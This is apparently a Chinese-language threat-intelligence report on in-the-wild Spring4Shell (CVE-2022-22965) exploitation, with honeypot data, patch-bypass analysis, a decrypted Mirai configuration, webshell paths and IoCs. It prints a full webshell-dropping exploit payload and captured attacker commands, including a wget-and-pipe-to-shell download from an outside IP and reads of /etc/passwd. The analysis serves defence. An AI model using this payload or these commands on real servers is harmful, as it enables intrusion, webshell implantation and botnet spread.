Spring4Shell在野漏洞传播分析
<!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2022年3月31号，Spring针对Spring4Shell漏洞(CVE-2022-22965)事件发布了安全公告[<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">1]</a>，并提供了漏洞修复程序，此次漏洞事件在安全社区引起广泛关注。</p>
<p>360网络安全研究院高级威胁狩猎蜜罐系统[<a href="https://netlab.360.com/zh/honeypot">2]</a>通过被动监测方式看到了该漏洞在野传播过程，我们也看到了Mirai僵尸网络入场，相关在野漏洞攻击威胁情报已通过自动化形式输出。</p>
<h3 id="spring4shell">Spring4Shell 在野传播</h3>
<p>360网络安全研究院高级威胁狩猎蜜罐系统持续监测到Spring4Shell漏洞(CVE-2022-22965)扫描和漏洞利用行为，部分源IP地理位置分布如下：<br>
<a href="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png"><img src="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png" class="kg-image"/></a></p>
<p>以下是Top 10 国家/地区统计列表</p>
<pre><code>United States      92
The Netherlands    49
Germany            30
China              21
France              6
Luxembourg          6
Sweden              6
Switzerland         5
Ukraine             5
Austria             4
</code></pre>
<p>我们监测到大量Webshell和测试文件的上传行为，相应文件信息如下所示：<br>
<a href="__GHOST_URL__/content/images/2022/04/webshell.png"><img src="__GHOST_URL__/content/images/2022/04/webshell.png" class="kg-image"/></a></p>
<p>部分在野漏洞利用命令信息如下所示：</p>
<pre><code>echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
ls
ls%20/tmp/
whoami
%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27 
cat+/etc/passwd 
chdir 
cmd /c dir 
cmd /c net user 
curl+http://111.4vcrkb.dnslog.cn/1.jpg 
curl+http://12121.4vcrkb.dnslog.cn/1.jpg 
curl+http://35456.4vcrkb.dnslog.cn/1.jpg 
dir 
echo 
echo 8888888888  
echo %USERNAME%  
echo %computername% 
echo &lt;/xss&gt; 
echo fucker_test_test 
echo rinima  
echo%20%3Csvg%20onload=confirm`xss`%3E 
echo%20%3Csvg%20onload=confirm`xsssssss`%3E 
echo%20ddfdsfasdfasd 
echo%20fdsafasdfasd 
echo%202222222 
echo+22222 
echo+`whoami` 
echo+whoami 
exp
id 
ifconfig 
ls 
ls%20/tmp/ 
ping -n 2 uup0fk.dnslog.cn 
ping uup0fk.dnslog.cn 
uname 
whoami 
whoami%0A 
</code></pre>
<h3 id="spring4shell">Spring4Shell 漏洞分析</h3>
<p>Spring4Shell漏洞(CVE-2022-22965)是在JDK 9版本及以上新增module特性后导致的，并且是针对CVE-2010-1622漏洞补丁的绕过。</p>
<h4 id="cve20101622">CVE-2010-1622 漏洞分析</h4>
<p>CVE-2010-1622漏洞是Spring Bean的CachedIntrospectionResults类在调用java.beans.Introspector.getBeanInfo()枚举属性赋值时，没有指定stop类，导致父类(Object.class是任何java对象的父类)属性可被攻击者恶意控制。</p>
<p>Spring参数绑定支持用户提交表单以 参数=值 的形式进行对象赋值，同时user.address.street=Disclosure+Str等价于frmObj.getUser().getAddress().setStreet(&quot;Disclosure Str.&quot;)。因此可通过user.address.street=Disclosure+Str的方式给PropertyDescriptor[]中的第一个class属性赋值。如通过classLoader控制class属性，进而构造利用链。</p>
<p><strong>漏洞补丁</strong><br>
Spring通过将classLoader加入属性数组黑名单的方式修补漏洞。<br>
<a href="__GHOST_URL__/content/images/2022/04/patch.png"><img src="__GHOST_URL__/content/images/2022/04/patch.png" class="kg-image"/></a></p>
<h4 id="cve202222965">CVE-2022-22965 漏洞分析</h4>
<p>在参数绑定过程中，包含class属性，与CVE-2010-1622漏洞问题类似：<br>
<a href="__GHOST_URL__/content/images/2022/04/class.png"><img src="__GHOST_URL__/content/images/2022/04/class.png" class="kg-image"/></a></p>
<p>CVE-2022-22965是CVE-2010-1622补丁的绕过，在JDK11+Tomcat8.5.77+spring-webmvc5.3.17版本中，调试发现通过class.module.classLoader.*可以加载ParallelWebappClassLoader绕过黑名单对classLoader的检测:<br>
<a href="__GHOST_URL__/content/images/2022/04/classloader.png"><img src="__GHOST_URL__/content/images/2022/04/classloader.png" class="kg-image"/></a></p>
<p>在野Payload：</p>
<pre><code>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222
</code></pre>
<p>pattern指定日志记录的格式，suffix指定日志记录的后缀为.jsp，directory指定日志保存的目录webapps/ROOT，prefix指定文件名tomcatwar，fileDateFormat指定日志文件名日期格式，上述payload通过Tomcat的class AbstractAccessLogValve修改了日志的存储格式、目录和文件名，实现了Webshell的上传。</p>
<p><strong>漏洞补丁</strong><br>
新增了严格的黑名单限制<br>
<a href="__GHOST_URL__/content/images/2022/04/patch1.png"><img src="__GHOST_URL__/content/images/2022/04/patch1.png" class="kg-image"/></a></p>
<h3 id="mirai">Mirai僵尸网络</h3>
<p>我们看到Mirai僵尸网络很快入场，相关配置信息解密如下所示：</p>
<pre><code> [0x01]: &quot;46.175.146.159\x00&quot;, size=15
 [0x02]: &quot;A\x84&quot;, size=2
 [0x03]: &quot;D\xfd&quot;, size=2
 [0x04]: &quot;U better back the fuck off CIANigger &gt;&gt;&gt;---&lt;3--&gt;\x00&quot;, size=49
 [0x05]: &quot;shell\x00&quot;, size=6
 [0x06]: &quot;enable\x00&quot;, size=7
 [0x07]: &quot;system\x00&quot;, size=7
 [0x08]: &quot;sh\x00&quot;, size=3
 [0x09]: &quot;/bin/busybox DEMONS\x00&quot;, size=20
 [0x0a]: &quot;DEMONS: applet not found\x00&quot;, size=25
 [0x0b]: &quot;ncorrect\x00&quot;, size=9
 [0x0c]: &quot;/bin/busybox ps\x00&quot;, size=16
 [0x0d]: &quot;assword\x00&quot;, size=8
 [0x0e]: &quot;ogin\x00&quot;, size=5
 [0x0f]: &quot;enter\x00&quot;, size=6
 [0x10]: &quot;/proc/\x00&quot;, size=7
 [0x11]: &quot;/exe\x00&quot;, size=5
 [0x12]: &quot;/fd\x00&quot;, size=4
 [0x13]: &quot;/maps\x00&quot;, size=6
 [0x14]: &quot;/proc/net/tcp\x00&quot;, size=14
 [0x15]: &quot;/etc/resolv.conf\x00&quot;, size=17
 [0x16]: &quot;nameserver\x00&quot;, size=11
 [0x17]: &quot;Pully\x13SHD\x1aiIGK\x1cDig\x13\x18}Bfpc]MkGp^b\x12[}P\x1b\\~m`b`^rc\x13Xeg\x13G\x1a\x12z*&quot;, size=57
 [0x18]: &quot;i586\x00&quot;, size=5
 [0x19]: &quot;i486\x00&quot;, size=5
 [0x1a]: &quot;x86\x00&quot;, size=4
 [0x1b]: &quot;i686\x00&quot;, size=5
 [0x1c]: &quot;mips\x00&quot;, size=5
 [0x1d]: &quot;mipsel\x00&quot;, size=7
 [0x1e]: &quot;mpsl\x00&quot;, size=5
 [0x1f]: &quot;sh4\x00&quot;, size=4
 [0x20]: &quot;superh\x00&quot;, size=7
 [0x21]: &quot;ppc\x00&quot;, size=4
 [0x22]: &quot;powerpc\x00&quot;, size=8
 [0x23]: &quot;spc\x00&quot;, size=4
 [0x24]: &quot;sparc\x00&quot;, size=6
 [0x25]: &quot;(deleted)\x00&quot;, size=10
 [0x26]: &quot;abcdefghijklmnopqrstuvwxyz\x00&quot;, size=27
 [0x27]: &quot;%d.%d.%d.%d\x00&quot;, size=12
 [0x28]: &quot;POST /cdn-cgi/\x00&quot;, size=15
 [0x29]: &quot;UPX!\x00&quot;, size=5
 [0x2a]: &quot;botnet\x00&quot;, size=7
 [0x2b]: &quot;ddos\x00&quot;, size=5
 [0x2c]: &quot;oginenterassword\x00&quot;, size=17
 [0x2d]: &quot;GET/  HTTP/1.1\x00&quot;, size=15
 [0x2e]: &quot;garm\x00&quot;, size=5
 [0x2f]: &quot;gx86\x00&quot;, size=5
 [0x30]: &quot;gmips\x00&quot;, size=6
 [0x31]: &quot;gmpsl\x00&quot;, size=6
 [0x32]: &quot;gsh4\x00&quot;, size=5
 [0x33]: &quot;gspc\x00&quot;, size=5
 [0x34]: &quot;gppc\x00&quot;, size=5
 [0x35]: &quot;gsec\x00&quot;, size=5
 [0x36]: &quot;.glm\x00&quot;, size=5
 [0x37]: &quot;cronx86\x00&quot;, size=8
 [0x38]: &quot;cronarm\x00&quot;, size=8
 [0x39]: &quot;cronmips\x00&quot;, size=9
 [0x3a]: &quot;cronmpsl\x00&quot;, size=9
 [0x3b]: &quot;cronsh4\x00&quot;, size=8
 [0x3c]: &quot;cronspc\x00&quot;, size=8
 [0x3d]: &quot;cronppc\x00&quot;, size=8
 [0x3e]: &quot;cronsh\x00&quot;, size=7
 [0x3f]: &quot;gi686\x00&quot;, size=6
 [0x40]: &quot;/dev/watchdog\x00&quot;, size=14
 [0x41]: &quot;/dev/misc/watchdog\x00&quot;, size=19
 [0x42]: &quot;/dev/FTWDT101_watchdog\x00&quot;, size=23
 [0x43]: &quot;/dev/FTWDT101 watchdog\x00\x12&quot;, size=24
 [0x44]: &quot;/dev/watchdog0\x00&quot;, size=15
 [0x45]: &quot;/etc/default/watchdog\x00&quot;, size=22
 [0x46]: &quot;/sbin/watchdog\x00&quot;, size=15
</code></pre>
<h4 id="webshell">Webshell和测试文件列表</h4>
<table>
<thead>
<tr>
<th>filepath</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>/tmp/log222.txt</td>
<td>3973</td>
</tr>
<tr>
<td>webapps/ROOT/log111.txt</td>
<td>2051</td>
</tr>
<tr>
<td>webapps/ROOT/tomcatwar.jsp</td>
<td>110</td>
</tr>
<tr>
<td>webapps/ROOT/wpz.jsp</td>
<td>27</td>
</tr>
<tr>
<td>/../webapps/ROOT/logout.jsp</td>
<td>12</td>
</tr>
<tr>
<td>./webapps/ROOT/test2%20%20.txt</td>
<td>9</td>
</tr>
<tr>
<td>webapps/ROOT/log101.txt</td>
<td>7</td>
</tr>
<tr>
<td>/log_data_9.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/xiaozhan.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/1122.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/0985763860781234.jsp</td>
<td>3</td>
</tr>
<tr>
<td>/2023.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxias.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/log147.txt</td>
<td>2</td>
</tr>
<tr>
<td>webapps/ROOT/aaa69875.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log186.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa36917.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/member3war.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa96225.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log154.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log103.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log176.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/7FMNZ.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa28643.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa49231.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa50586.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log112.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log110.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa80751.jsp</td>
<td>1</td>
</tr>
<tr>
<td>/2021.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10854.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log105.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa93089.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/35456.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log182.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24348.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log131.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/indexbk.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log149.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log179.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/webappsbak/sxxd1648765386.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log150.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/78754.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24168.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10487.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log178.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/lapsus</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxia.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log135.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa40373.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/qweasd.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/console.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa79694.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa54378.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log129.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/pCJrI.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log162.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/7875456457.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log200.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log128.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log124.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa14058.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa94175.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/conf.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/stupidRumor_war/tomcatwar.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa83816.jsp</td>
<td>1</td>
</tr>
</tbody>
</table>
<h3 id="">处置建议</h3>
<p>我们建议Spring用户及时升级漏洞程序，并排查相应Webshell文件路径。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h4 id="ioclist">IoC List</h4>
<p>Mirai C2</p>
<pre><code>46.175.146.159:16772
</code></pre>
<p>IP</p>
<pre><code>1.85.220.54         	China               	AS4134              	CHINANET-BACKBONE   
3.239.1.141         	United States       	AS14618             	AMAZON-AES          
5.2.69.50           	The Netherlands     	AS60404             	Liteserver          
14.0.170.249        	China               	AS38819             	HKCSL-AS-AP         
23.128.248.10       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.11       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.12       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.13       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.14       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.15       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.16       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.17       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.19       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.20       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.21       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.22       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.23       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.24       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.25       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.27       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.28       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.29       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.33       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.34       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.38       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.39       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.40       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.41       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.42       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.43       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.44       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.46       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.48       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.50       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.51       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.53       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.54       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.55       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.56       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.57       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.58       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.59       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.60       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.61       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.62       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.63       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.64       	United States       	AS398355            	DATAIDEAS-LLC       
23.128.248.65       	United States       	AS398355            	DATAIDEAS-LLC       
23.129.64.130       	United States       	AS396507            	EMERALD-ONION       
23.129.64.131       	United States       	AS396507            	EMERALD-ONION       
23.129.64.132       	United States       	AS396507            	EMERALD-ONION       
23.129.64.133       	United States       	AS396507            	EMERALD-ONION       
23.129.64.134       	United States       	AS396507            	EMERALD-ONION       
23.129.64.135       	United States       	AS396507            	EMERALD-ONION       
23.129.64.136       	United States       	AS396507            	EMERALD-ONION       
23.129.64.137       	United States       	AS396507            	EMERALD-ONION       
23.129.64.138       	United States       	AS396507            	EMERALD-ONION       
23.129.64.139       	United States       	AS396507            	EMERALD-ONION       
23.129.64.140       	United States       	AS396507            	EMERALD-ONION       
23.129.64.141       	United States       	AS396507            	EMERALD-ONION       
23.129.64.142       	United States       	AS396507            	EMERALD-ONION       
23.129.64.143       	United States       	AS396507            	EMERALD-ONION       
23.129.64.145       	United States       	AS396507            	EMERALD-ONION       
23.129.64.146       	United States       	AS396507            	EMERALD-ONION       
23.129.64.147       	United States       	AS396507            	EMERALD-ONION       
23.129.64.148       	United States       	AS396507            	EMERALD-ONION       
23.129.64.149       	United States       	AS396507            	EMERALD-ONION       
23.129.64.210       	United States       	AS396507            	EMERALD-ONION       
23.129.64.211       	United States       	AS396507            	EMERALD-ONION       
23.129.64.212       	United States       	AS396507            	EMERALD-ONION       
23.129.64.213       	United States       	AS396507            	EMERALD-ONION       
23.129.64.214       	United States       	AS396507            	EMERALD-ONION       
23.129.64.215       	United States       	AS396507            	EMERALD-ONION       
23.129.64.216       	United States       	AS396507            	EMERALD-ONION       
23.129.64.217       	United States       	AS396507            	EMERALD-ONION       
23.129.64.218       	United States       	AS396507            	EMERALD-ONION       
23.129.64.219       	United States       	AS396507            	EMERALD-ONION       
23.129.64.250       	United States       	AS396507            	EMERALD-ONION       
23.154.177.6        	United States       	AS399532            	ULAYER-ASN          
23.154.177.7        	United States       	AS399532            	ULAYER-ASN          
23.239.21.195       	United States       	AS63949             	LINODE-AP           
27.102.106.117      	South Korea         	AS45996             	GNJ-AS-KR           
37.187.18.212       	France              	AS16276             	OVH                 
37.187.96.183       	France              	AS16276             	OVH                 
43.128.201.239      	Thailand            	AS132203            	TENCENT-NET-AP-CN   
43.242.116.54       	India               	AS45916             	GTPL-AS-AP          
45.15.16.105        	Sweden              	AS42675             	OBEHOSTING          
45.32.251.86        	Japan               	AS20473             	AS-CHOOPA           
45.33.101.246       	United States       	AS63949             	LINODE-AP           
45.61.186.160       	United States       	AS53667             	PONYNET             
45.78.48.51         	Japan               	AS25820             	IT7NET              
45.128.133.242      	Belgium             	AS206804            	EstNOC-GLOBAL       
45.129.56.200       	Denmark             	AS39351             	ESAB-AS             
45.136.15.239       	China               	AS139659            	LUCID-AS-AP         
45.153.160.2        	The Netherlands     	AS212906            	moneroj-ca          
45.153.160.132      	The Netherlands     	AS212906            	moneroj-ca          
45.153.160.136      	The Netherlands     	AS212906            	moneroj-ca          
45.154.255.138      	Sweden              	AS41281             	KEFF                
45.154.255.139      	Sweden              	AS41281             	KEFF                
45.154.255.147      	Sweden              	AS41281             	KEFF                
46.166.139.111      	The Netherlands     	AS43350             	NFORCE              
46.175.146.159          The Netherlands         AS50673                 Serverius-as        
46.232.251.191      	Germany             	AS197540            	netcup-AS           
51.15.76.60         	The Netherlands     	AS12876             	AS12876             
51.77.52.216        	Poland              	AS16276             	OVH                 
58.82.211.226       	China               	AS137872                PEOPLESPHONE-HK                 	                    
58.240.81.135       	China               	AS4837              	CHINA169-Backbone   
60.248.106.229      	China               	AS3462              	HINET               
62.102.148.68       	Sweden              	AS51815             	TEKNIKBYRAN         
62.102.148.69       	Sweden              	AS51815             	TEKNIKBYRAN         
64.113.32.29        	United States       	AS15154             	SBBSNET             
66.220.242.222      	United States       	AS17356             	VERMONT-TELE        
74.82.47.194        	United States       	AS6939              	HURRICANE           
81.17.18.59         	Switzerland         	AS51852             	PLI-AS              
81.17.18.62         	Switzerland         	AS51852             	PLI-AS              
85.93.218.204       	Luxembourg          	AS9008              	ASN-VO              
85.204.116.204      	Romania             	AS48874             	HOSTMAZE            
87.120.37.231       	Bulgaria            	AS34224             	NETERRA-AS          
89.58.27.84         	Germany             	AS197540                netcup GmbH  	                    
89.163.131.159      	Germany             	AS24961             	MYLOC-AS            
89.163.131.160      	Germany             	AS24961             	MYLOC-AS            
91.132.147.168      	Germany             	AS197540            	netcup-AS           
91.149.225.172      	Norway              	AS58110             	IPVOLUME            
91.211.89.43        	Ukraine             	AS206638            	hostfory            
91.211.89.107       	Ukraine             	AS206638            	hostfory            
91.211.89.207       	Ukraine             	AS206638            	hostfory            
91.250.242.12       	Romania             	AS6718              	NAV                 
92.246.84.133       	Germany             	AS44592             	SkyLink             
93.95.226.212       	Iceland             	AS44925             	THE-1984-AS         
93.174.89.132       	The Netherlands     	AS202425            	INT-NETWORK         
93.179.115.27       	United States       	AS25820             	IT7NET              
94.140.114.210      	Latvia              	AS43513             	NANO-AS             
101.37.159.147      	China               	AS37963             	CNNIC-ALIBABA-CN-NET-AP
103.27.108.196      	China               	AS132883            	TOPWAY-AS-AP        
103.42.196.135      	India               	AS138754                KVBPL-AS-IN 	                    
103.42.196.203      	India               	AS138754                KVBPL-AS-IN   	                    
103.108.193.24      	China               	AS139021            	WEST263GO-HK        
103.140.186.68      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.140.186.72      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.140.186.73      	Singapore           	AS206804            	EstNOC-GLOBAL       
103.214.146.5       	China               	AS135330            	ADCDATACOM-AS-AP    
103.253.41.98       	China               	AS133398            	TELE-AS             
104.244.72.115      	Luxembourg          	AS53667             	PONYNET             
104.244.76.13       	Luxembourg          	AS53667             	PONYNET             
104.244.76.44       	Luxembourg          	AS53667             	PONYNET             
104.244.76.170      	Luxembourg          	AS53667             	PONYNET             
104.244.77.101      	Luxembourg          	AS53667             	PONYNET             
107.189.5.249       	Luxembourg          	AS53667             	PONYNET             
109.70.100.19       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.31       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.82       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.70.100.84       	Austria             	AS208323            	APPLIEDPRIVACY-AS   
109.201.133.100     	The Netherlands     	AS43350             	NFORCE              
111.252.183.41      	China               	AS3462              	HINET               
111.252.198.28      	China               	AS3462              	HINET               
112.5.154.7         	China               	AS9808              	CMNET-GD            
112.36.205.252      	China               	AS24444             	CMNET-V4shandong-AS-AP
112.169.175.24      	South Korea         	AS131477            	SHHJ-AS             
119.86.148.176      	China               	AS4134              	CHINANET-BACKBONE   
124.222.23.106      	China               	AS45090             	CNNIC-TENCENT-NET-AP
128.31.0.13         	United States       	AS3                 	MIT-GATEWAYS        
141.164.43.95       	South Korea         	AS20473             	AS-CHOOPA           
142.4.206.84        	Canada              	AS16276             	OVH                 
143.198.131.158     	United States       	AS14061             	DIGITALOCEAN-ASN    
144.172.73.66       	United States       	AS212513            	STELZL-AS           
144.202.116.138     	United States       	AS20473             	AS-CHOOPA           
144.217.86.109      	Canada              	AS16276             	OVH                 
146.19.174.33       	China               	AS147293            	NEAROUTE-AS-AP      
146.59.233.33       	France              	AS16276             	OVH                 
151.80.148.159      	France              	AS16276             	OVH                 
159.223.73.101      	Singapore           	AS14061             	DIGITALOCEAN-ASN    
162.247.74.7        	United States       	AS4224              	CALYX-AS            
164.92.65.110       	United States       	AS14061             	DIGITALOCEAN-ASN    
164.132.9.199       	France              	AS16276             	OVH                 
166.70.207.2        	United States       	AS6315              	XMISSION            
167.71.238.228      	India               	AS14061             	DIGITALOCEAN-ASN    
167.99.76.46        	Singapore           	AS14061             	DIGITALOCEAN-ASN    
168.62.22.238       	United States       	AS8075              	MICROSOFT-CORP-MSN-AS-BLOCK
171.25.193.20       	Germany             	AS198093            	DFRI-AS             
171.25.193.25       	Germany             	AS198093            	DFRI-AS             
171.25.193.77       	Germany             	AS198093            	DFRI-AS             
171.25.193.78       	Germany             	AS198093            	DFRI-AS             
172.104.93.152      	Japan               	AS63949             	LINODE-AP           
172.104.140.107     	Germany             	AS63949             	LINODE-AP           
172.104.159.48      	Germany             	AS63949             	LINODE-AP           
172.107.241.110     	United States       	AS40676             	AS40676             
172.245.89.109      	United States       	AS36352             	AS-COLOCROSSING     
175.178.154.77      	China               	AS45090             	CNNIC-TENCENT-NET-AP
178.17.170.135      	Moldova             	AS43289             	TRABIA              
178.17.171.102      	Moldova             	AS43289             	TRABIA              
178.17.174.14       	Moldova             	AS43289             	TRABIA              
178.20.55.18        	France              	AS29075             	IELO                
182.255.45.211      	China               	AS6134              	XNNET               
185.34.33.2         	France              	AS28855             	OCTOPUCE-AS         
185.36.81.95        	Lithuania           	AS133398            	TELE-AS             
185.38.175.130      	Denmark             	AS205235            	LABITAT             
185.38.175.131      	Denmark             	AS205235            	LABITAT             
185.56.80.65        	The Netherlands     	AS43350             	NFORCE              
185.82.126.13       	Latvia              	AS52173             	MAKONIX             
185.83.214.69       	Portugal            	AS58110             	IPVOLUME            
185.100.86.74       	Finland             	AS200651            	FlokiNET            
185.100.86.128      	Finland             	AS200651            	FlokiNET            
185.100.87.41       	Romania             	AS200651            	FlokiNET            
185.100.87.133      	Romania             	AS200651            	FlokiNET            
185.100.87.174      	Romania             	AS200651            	FlokiNET            
185.100.87.202      	Romania             	AS200651            	FlokiNET            
185.105.90.134      	Russia              	AS205090            	FIRST-SERVER-EUROPE 
185.107.47.171      	The Netherlands     	AS43350             	NFORCE              
185.107.47.215      	The Netherlands     	AS43350             	NFORCE              
185.107.70.56       	The Netherlands     	AS43350             	NFORCE              
185.112.147.12      	Iceland             	AS44925             	THE-1984-AS         
185.129.62.62       	Denmark             	AS57860             	ZENCURITY-NET       
185.163.119.0       	Germany             	AS197540            	netcup-AS           
185.165.171.40      	Romania             	AS200651            	FlokiNET            
185.165.171.84      	Romania             	AS200651            	FlokiNET            
185.170.114.25      	Germany             	AS197540            	netcup-AS           
185.174.101.214     	United States       	AS8100              	ASN-QUADRANET-GLOBAL
185.220.100.240     	Germany             	AS205100            	F3NETZE             
185.220.100.241     	Germany             	AS205100            	F3NETZE             
185.220.100.242     	Germany             	AS205100            	F3NETZE             
